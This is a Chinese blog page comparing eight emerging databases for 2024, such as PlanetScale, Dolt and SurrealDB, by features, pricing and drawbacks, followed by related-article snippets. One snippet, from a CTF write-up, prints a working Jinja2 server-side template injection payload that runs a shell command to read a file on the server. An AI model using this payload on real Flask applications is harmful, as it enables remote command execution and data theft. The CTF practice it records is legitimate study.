wordpress腾讯微博插件/seo的培训网站哪里好
2024年值得关注的8个未来数据库
关系型数据库管理系统在数据库技术领域占据主导地位已经多年了。当SQL在1970年代首次出现时,关系型数据库管理系统的使用和受欢迎程度迅速提升。很快,MySQL成为了大多数公司和团队首选的数据库。
然而,2023年带来了一系列具有颠覆性的数据库。尽管其中一些数据库仍然使用传统的关系模式构建,但其他数据库提供了创新的方法,值得我们在2024进行重点关注。
在本文中,我们将探索一些创新和未来感十足的数据库,并比较它们的特点。
PlanetScale
PlanetScale是基于Vitess水平扩展MySQL技术的无服务器MySQL平台。Vitess是由谷歌开发的可扩展的开源数据库,用于应对数十亿YouTube用户的需求。处理如此规模的工作并非易事。
PlanetScale有趣的地方在于它是一个分支数据库,这是一种最近才出现但看起来非常有前景的新型工作流程。那么,什么是分支数据库?
什么是分支数据库?
分支数据库允许你从主数据库创建不同的分支,用于不同的目的。你可以将这个工作流程想象成类似于Git这样的版本控制系统,可以在项目中进行更改而不会破坏整个代码库。
你可以将你的主数据库或生产数据库复制到一个单独的数据库分支中。然后,可以在该数据库分支中进行实验、进行更改,当你对它们完全满意时,将其合并回主数据库。因此,通过保持生产数据库的完整性,你可以高效而直观地对数据库进行尝试和实验。
PlanetScale的分支工作流程
PlanetScale还为你的数据库添加了分支,这样你就可以在一个独立的开发分支上测试模式更改。这个分支与生产分支或你的主数据库是分开的。这提供了一个独立的工作环境,而不需要显式地创建一个用于尝试模式更改的暂存或测试环境。
你可以在PlanetScale官方文档了解更多有关分支的含义以及PlanetScale如何使用这个概念。
特点
PlanetScale自动创建每日备份,并在开箱即用时保护生产分支上的直接模式更改,减少了意外破坏生产数据库的可能性。
非阻塞模式更改是它提供的另一个有趣的特性。当你想要更改数据库模式时,你可以创建并部署一个请求来更新你的表,而不会中断你的用户。它还可以与Prisma等第三方工具简单集成。
Prisma是一个开源的数据库工具包,为现代Web应用程序提供了一个类型安全的ORM(对象关系映射)层。当你想要更改数据库模式时,你可以使用Prisma的迁移功能生成必要的SQL脚本,以非阻塞的方式应用于你的数据库,而不会中断你的用户。这样,你可以将PlanetScale与Prisma集成,以便应用程序保持在线的同时高效地更新你的模式。
价格
虽然PlanetScale的团队计划每月需要599美元,但定价计划中包含了一个免费的层级。在免费层级中,你可以获得1个生产分支和1个开发分支,每月可以进行10亿次读取和100万次写入。如果你需要更多的读取、写入和分支,而又不想花费太多金钱,你也可以选择他们的Scalar计划,每月29美元。
缺点
因为它是一个相对较新的服务,所以它并不具备标准MySQL数据库的所有特性,比如存储过程、触发器、索引和其他类似的功能。
此外,如果你对分布式数据库的概念还不熟悉,学习曲线可能会成为一个问题。但对于这类新型的数据库,还是值得关注的。
YugaByteDB
YugaByteDB是一个开源的Postgres数据库,在云原生环境中加载了所有Postgres的原生特性。它允许同时在多个云上托管你的数据库,从而更好地控制数据库系统,消除了供应商锁定的问题。这也使你能够在不同的地区部署你的云实例,从而为你的数据库提供更高的故障容忍度。
特点
YugaByte支持SQL和NoSQL API。这使得开发人员可以根据他们的熟悉程度和使用情况选择最适合的API类型。除了确保高性能和可伸缩性,它还提供高可用性。
价格
Yugabyte提供了一个完全托管的专用集群,每核心每小时0.25美元。
缺点
作为另一个分布式数据库系统,与传统的SQL数据库相比,它可能具有更陡峭的学习曲线和一些额外的复杂性开销。
Dolt
Dolt是一个独特的数据库,它与版本控制和Git的工作原理相同。它可以跟踪数据的变化,并了解数据的变化是如何以及何时发生的。就像一个Git仓库一样,你可以推送、拉取、分叉或克隆数据库。非常有趣,是吧?
Dolt的分支行为
和PlanetScale以及Neon一样,Dolt也实现了分支行为,你可以在不破坏生产数据的情况下对数据进行实验。
由于它是基于Git工作流程构建和运行的,使用Dolt时,所有的git命令,如git log、git add等,可以在命令行中用dolt log、dolt add等命令替代。
特点
Dolt支持SQL查询,使得从传统SQL背景下来的开发人员能够轻松地检索和更新数据。
Dolt提供的另一个有趣特性是协同编辑。使用Dolt的团队可以同时在同一个Dolt数据库上进行多个开发人员的工作。Dolt会自动处理对数据库所做的所有更改的合并。
定价和缺点
Dolt是开源的,并且完全免费。然而,由于其功能有限,如存储过程或用户定义函数,它可能只适用于特定的用例。
CockroachDB
由前谷歌员工开发的CockroachDB是与SQL和Postgres兼容的最强大的分布式数据库系统之一。它使用Go语言构建,为SQL和NoSQL API提供多模型支持,支持像YugaByteDB一样的多云部署,并能处理每秒数百万次查询。
它拥有强大的社区支持,并为开发人员提供了大量的学习资源,如教程、博客文章等。
定价
虽然它有一个免费版本,可以用于开发和测试模式下的小型项目,但它可能有点昂贵,特别是与其他开源替代品相比。然而,它的专用计划的价格比PlanetScale低得多,每月295美元。
缺点
作为一个分布式数据库系统,它需要设置和管理系统的复杂性开销,同时还需要一个陡峭的学习曲线。由于性能问题,它也不是对于延迟低、吞吐量高的应用程序的理想选择。
CloudFlare D1
现在让我们介绍一个在边缘运行SQLite数据库的无服务器数据库平台。Cloudflare Durable Objects (D1)用于构建和部署有状态应用程序。
CloudFlare D1使用与传统SQL数据模型不同的数据模型,它看起来和工作起来非常像面向文档的数据库,如MongoDB。
如何在CloudFlare D1中存储数据?
让我们来看一个例子。我们知道,在传统的SQL数据库中,数据存储在由行和列组成的表中。
假如一个名为“employees”的表,它有以下列作为“id”、“name”、“age”和“department”。
下面是表的示例:
id name age department
1 Alice 28 Sales
2 Bob 35 Marketing
3 Charlie 42 Finance
相比之下,CloudFlare D1将数据存储为类似于文档数据库的对象形式。
因此,将上面的例子转换为CloudFlare D1中的对象,我们有一个名为“Employee”的对象,它具有以下属性:“id”、“name”、“age”和“department”:
Employee {id: 1,name: 'Alice',age: 28,department: 'Sales'
}
因此,上述数据以一个带有唯一标识符的Employee对象的形式存储。
特点
Cloudflare的一个很棒的地方是它已经有了适用于workers的键值存储,但其中的一个折衷是原生事务不起作用。因此,你也可以使用JavaScript编写存储过程,并直接在数据库中运行这些过程,它们基本上是代码片段。然后你可以使用它们来创建事务或其他可重用的查询。
此外,CloudFlare D1作为无服务器数据库的特点使得部署和管理变得很容易。
定价
Cloudflare D1目前处于alpha阶段,完全免费进行测试、使用和实验。这是你玩弄它并了解它是否成为你未来首选数据库的最佳时机。
缺点
CloudFlare D1目前尚未准备好用于生产。它的使用案例非常有限,不涉及复杂的数据结构或传统的SQL查询。持久化对象方法的另一个问题是迁移困难,最终导致供应商锁定。总的来说,尽管这个数据库听起来很有前景,但你现在还不能在你的生产应用程序中使用它。
说到无服务器架构,Xata提供了一个基于Postgres和Elasticsearch的有趣的关系型数据库。它将你的数据视为一个电子表格,使开发人员能够轻松构建需要灵活模式的应用程序。你也可以将它想象成AirTable或Notion的开发人员友好的替代品。
Xata
特点
它内置了全文搜索功能,并且可以帮助你使用提供的架构编辑器实时可视化表之间的关系。
它还支持像Dolt一样的分支,并主要用于实时处理大量数据。它还支持一些高级查询功能,如聚合、过滤、连接等。
定价
Xata的定价基于每秒的速率限制或可以进行的数据库请求次数。它有一个免费计划,每秒提供75个请求,最多支持75万条记录。
如果你是一家初创公司或计划很快推出MVP,他们的免费计划应该足够使用。他们的专业计划起价为每个单位每月8美元。
缺点
Xata的一些主要缺点包括未来迁移到其他平台的困难以及总体复杂性,通常需要丰富的专业知识才能使用。
Surreal DB
Surreal DB是用Rust编写的,它为关系型、文档型和图形数据库提供了一个易于使用的单一API。
特点
在数据建模方面,它非常灵活,非常适合推荐引擎、社交网络等应用。在这方面,它类似于流行的图形数据库Neo4J。
它还非常简单,可以与任何SQL类型的查询语言一起使用,并提供高效执行实时查询的能力。
例如,下面是一个在SurrealQL中的插入查询,看起来几乎与SQL的插入查询相同:
INSERT INTO company {name: 'Siddhant',age: 24,hobbies: ['technical writing', 'basketball']
};
此外,你可以使用SurrealQL直接连接你的Surreal DB到你的客户端应用程序。
缺点
由于它相对较新,文档和社区支持有限,特别是与帖子中讨论的其他数据库相比。它还使用自己的查询语言SurrealQL来编写查询。这可能会引入新的学习曲线,并且缺乏优质资源来掌握这个查询语言可能会在许多用例中成为开发人员的障碍。
定价
目前,SurrealDB没有任何云服务提供,但你可以加入他们的云等待名单,这是他们未来计划的一部分。你可以自己在本地或私有服务器上进行自托管。
虽然SurrealDB不是完全开源的,但它根据商业源代码许可证进行许可,这使得它在所有开发和生产使用中都是免费的。
Fauna DB
FaunaDB是最通用和易于使用的数据库之一。它由前Twitter工程师创建,是一个NoSQL数据库,遵循类似于MongoDB的文档数据库范例。
特点
尽管是一个NoSQL数据库,它支持原生连接操作,这是文档数据库中最缺失的功能。它非常适用于处理复杂的关系型数据,如社交图谱,并且有自己的自定义查询语言FQL。它还默认支持Graphql API。
它使用分布式架构以提供高可用性和低延迟。它可以成为无服务器应用程序或微服务架构的理想选择。
定价
它有一个免费计划,提供10万次读取、5万次写入和5GB的存储空间。非常适合个人项目,但可能不适用于MVP或更大的生产项目。
你可以升级到FaunaDB的任何计划,价格从每月25美元的个人计划,到每月150美元的团队计划,再到每月500美元的大型组织计划。
缺点
和SurrealDB类似,FaunaDB也使用了自己的查询语言FQL,这可能会给开发人员带来学习曲线。
例如,下面是一个在FQL中常用的查询:
Paginate(Documents(Collection("users")))
上述查询基本上是从一个名为“users”的集合中检索所有文档,并默认进行分页。
在SQL中的等效查询是:
SELECT * from users
正如你所见,这两个查询非常不同,它们在语法上没有相似之处。
此外,与我们在帖子中讨论的其他数据库相比,FaunaDB的价格相对较高。
结论
我们已经讨论了一些最先进和未来感的数据库。这些数据库大多数采用了分布式架构,这可能需要额外的工作和资源来进行设置、掌握和充分利用。然而,它们的创新方法和新颖的工作流表明它们有着宝贵的应用。
如果你考虑完全摆脱SQL,选择一个基于定价、易用性、社区支持和整体实用性等因素的数据库。如果你偏爱文档数据库,FaunaDB是一个不错的选择。如果你对分支数据库感兴趣,可以看看PlanetScale或Dolt。如果你需要一个灵活的模式,Xata是一个很好的选择。我们讨论的每个数据库都有其独特的特点。
相关文章:

2024年值得关注的8个未来数据库
2024年值得关注的8个未来数据库 关系型数据库管理系统在数据库技术领域占据主导地位已经多年了。当SQL在1970年代首次出现时,关系型数据库管理系统的使用和受欢迎程度迅速提升。很快,MySQL成为了大多数公司和团队首选的数据库。 然而,2023年…...

C++新经典模板与泛型编程:将trait类模板用作模板参数
将trait类模板用作模板参数 template<typename T> struct SumFixedTraits;template<> struct SumFixedTraits<char> {using sumT int;static sumT initValue() {return 0;} };template<> struct SumFixedTraits<int> {using sumT __int64;sta…...

BUUCTF-[GYCTF2020]FlaskApp flask爆破pin
这道题不需要爆破也可以getshell ssti都给你了 {{((lipsum.__globals__.__builtins__[__import__](so[::-1])[popen]("\x63\x61\x74\x20\x2f\x74\x68\x69\x73\x5f\x69\x73\x5f\x74\x68\x65\x5f\x66\x6c\x61\x67\x2e\x74\x78\x74")).read())}} 但是学习记录一下pin…...

web前端实现LED功能、液晶显示时间、数字
MENU 效果演示html部分JavaScript部分css部分 效果演示 html部分 <div id"app"><!-- 页面 --><div class"time-box"><!-- 时 --><div class"house-box"><bit-component :num"houseTem"></bit…...

YOLOv8改进 | 2023 | DiverseBranchBlock多元分支模块(有效涨点)
一、本文介绍 本文带来的改进机制是YOLOv8模型与多元分支模块(Diverse Branch Block)的结合,Diverse Branch Block (DBB) 是一种用于增强卷积神经网络性能的结构重新参数化技术。这种技术的核心在于结合多样化的分支,这些分支具有…...

Spring Boot 3 整合 Spring Cache 与 Redis 缓存实战
🚀 作者主页: 有来技术 🔥 开源项目: youlai-mall 🍃 vue3-element-admin 🍃 youlai-boot 🌺 仓库主页: Gitee 💫 Github 💫 GitCode 💖 欢迎点赞…...

kubeadm 安装k8s1.28.x 底层走containerd 容器
1. k8s1.28.x 的概述 1.1 k8s 1.28.x 更新 Kubernetes v1.28 是 2023 年的第二个大版本更新,包含了 46 项主要的更新。 而今年发布的第一个版本 v1.27 有近 60 项,所以可以看出来,在发布节奏调整后, 每个 Kubernetes 版本中都会包…...

“分割“安卓用户,对标iOS,鸿蒙崛起~
近期关于**“华为于明年推出不兼容安卓的鸿蒙版本”**的消息传出,引起了业界的热议关注。自从2019年8月,美国制裁下,华为不再能够获得谷歌安卓操作系统相关付费服务,如此情况下,华为“备胎”鸿蒙操作系统一夜转正。 华…...

【Vulnhub 靶场】【hacksudo: ProximaCentauri】【简单 - 中等】【20210608】
1、环境介绍 靶场介绍:https://www.vulnhub.com/entry/hacksudo-proximacentauri,709/ 靶场下载:https://download.vulnhub.com/hacksudo/hacksudo-ProximaCentauri.zip 靶场难度:简单 - 中等 发布日期:2021年06月08日 文件大小&…...

share pool的组成
share pool的组成 3块区域:free,library cache,row cache 通过查看v$librarycache视图,可以监控library cache的活动情况,进一步衡量share pool设置是否合理; 其中reloads列,表示对象被重新加载的次数,在一个设置合…...

应用案例 | 基于三维视觉的汽车零件自动化拧紧解决方案
Part.1 引言 随着人们生活水平的提高,汽车作为理想的代步工具,逐渐成为人们生活中不可或缺的一部分。汽车的广泛应用,大大增加了汽车制造业的负荷。因此,如何提高生产效率和汽车性能,成为汽车制造业的首要关注话题。…...

Redis server启动源码
入口main函数 src/redis.c文件main函数 int main(int argc, char **argv) {struct timeval tv;/* We need to initialize our libraries, and the server configuration. */// 初始化库 #ifdef INIT_SETPROCTITLE_REPLACEMENTspt_init(argc, argv); #endif//设置本地时间setl…...

C++基础 强制转换
目录 static_cast:static_cast(expression) const_cast dynamic_cast reinterpret_cast C 提供以下几类转换 static_cast:static_cast<type-id>(expression) tatic_cast 主要用于以下几种情况: 用于显式地将一个表达式转换为另一…...

【python、opencv】opencv仿射变换原理及代码实现
opencv仿射变换原理 仿射变换是opencv的基本知识点,主要目的是将原始图片经过仿射变换矩阵,平移、缩放、旋转成目标图像。用数学公式表示就是坐标转换。 其中x,y是原始图像坐标,u,v是变换后的图像坐标。将公式转换为…...

mac本地部署stable-diffusion
下载Homebrew /bin/zsh -c "$(curl -fsSL https://gitee.com/cunkai/HomebrewCN/raw/master/Homebrew.sh)" ①输入“1”选择中科大版本,然后输入Y(YES),直接输入开机密码(不显示)然后回车确认,开始下载 ②…...

dockers安装rabbitmq
RabbitMQ: easy to use, flexible messaging and streaming — RabbitMQhttps://www.rabbitmq.com/ Downloading and Installing RabbitMQ — RabbitMQ docker run -it --rm --name rabbitmq -p 5672:5672 -p 15672:15672 rabbitmq:3.12-management 之后参照:dock…...

07、pytest指定要运行哪些用例
官方用例 # 目录结构 | |----test_mod.py | |----testing||----test_dir.py# content of test_mod.py import pytestdef func(x):return x 1def test_mod():print("test_mod function was invoked")assert func(3) 5def test_func():print("test_func was in…...

springboot集成cxf
<?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://maven.apache.org/POM/4.0.0 http://ma…...

快速认识什么是:Kubernetes
每次谈到容器的时候,除了Docker之外,都会说起 Kubernetes,那么什么是 Kubernetes呢?今天就来一起学快速入门一下 Kubernetes 吧!希望本文对您有所帮助。 Kubernetes,一种用于管理和自动化云中容器化工作负…...

YOLOv6 学习笔记
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、YOLOv6贡献和改进二、YOLOv6核心概念三、YOLOv6架构改进四、YOLOv6重参思想五、YOLOv6的损失函数总结 前言 在计算机视觉领域,目标检测技术一直…...

paypal贝宝怎么绑卡支付
一、PayPal是什么 PayPal是一个很多国家地区通用的支付渠道,我们可以把它理解为一项在线服务,相当于美国版的支付宝。你可以通过PayPal进行汇款和收款,相比传统的电汇和西联那类的汇款方式,PayPal更加简单和容易,被很…...

活动回顾|德州仪器嵌入式技术创新发展研讨会(上海站)成功举办,信驰达科技携手TI推动技术创新
2023年11月28日,德州仪器(TI)嵌入式技术创新发展研讨会在上海顺利举办。作为TI中国第三方IDH,深圳市信驰达科技有限公司受邀参加,并设置展位,展出CC2340系列低功耗蓝牙模块及TPMS、蓝牙数字钥匙解决方案,与众多业内伙伴…...

Vue 循环走马灯
1、使用 transform: translateX(),循环将滚动内容在容器内偏移,超出容器部分隐藏; 2、避免滚动到末尾时出现空白,需要预留多几个。 3、一次循环偏移的距离scrollLoopWidth 可能受样式影响需要做些微调,比如单个item的…...

<Linux>(极简关键、省时省力)《Linux操作系统原理分析之Linux文件管理(3)》(27)
《Linux操作系统原理分析之Linux文件管理(3)》(27) 8 Linux文件管理8.6 文件管理和操作8.6.1 系统对文件的管理8.6.2 进程对文件的管理 8 Linux文件管理 8.6 文件管理和操作 8.6.1 系统对文件的管理 Linux 系统把所有打开的活动…...

【华为数据之道学习笔记】3-2 基础数据治理
基础数据用于对其他数据进行分类,在业界也称作参考数据。基础数据通常是静态的(如国家、币种),一般在业务事件发生之前就已经预先定义。它的可选值数量有限,可以用作业务或IT的开关和判断条件。当基础数据的取值发生变…...

GO设计模式——7、适配器模式(结构型)
目录 适配器模式(Adapter Pattern) 优缺点 使用场景 注意事项 代码实现 适配器模式(Adapter Pattern) 适配器模式(Adapter Pattern)是作为两个不兼容的接口之间的桥梁。将一个类的接口转化为客户希望的…...

Java实现TCP一对一通信,实现UDP群聊通信
TCP一对一通信: 实现服务端对话框: 其中可自由更改对话框的样式 import javax.swing.*; import java.awt.*; import java.awt.event.*; import java.io.*; import java.net.*; public class QqMain extends JFrame implements ActionListener{public static void …...

Vue + Element 实现按钮指定间隔时间点击
1、业务需求 需要加一个按钮,调用第三方API,按钮十分钟之内只能点击一次,刷新页面也只能点击一次 2、思路 加一个本地缓存的时间戳,通过时间戳计算指定时间内不能点击按钮 3、实现 1)vue页面 <template>&l…...

UE Websocket笔记
参考链接 [UE4 C入门到进阶]12.Websocket网络通信 - 哔哩哔哩 包含怎么用Nodejs 写测试服务器 UE4_使用WebSocket和Json(上) - 知乎 包含Python写测试服务器 UE4_使用WebSocket和Json(下) - 知乎 示例代码 xxx.Build.cs"W…...

STM32h7 接收各种can id情况下滤波器的配置
1、接收所有数据 /* 此处id2都为0,不进行id校验,接收所有数据*/ static void CAN_Filter_Config(void){FDCAN_FilterTypeDef sFilterConfig1;/* Configure Rx filter */sFilterConfig1.IdType FDCAN_STANDARD_ID;sFilterConfig1.FilterIndex 0;sFilte…...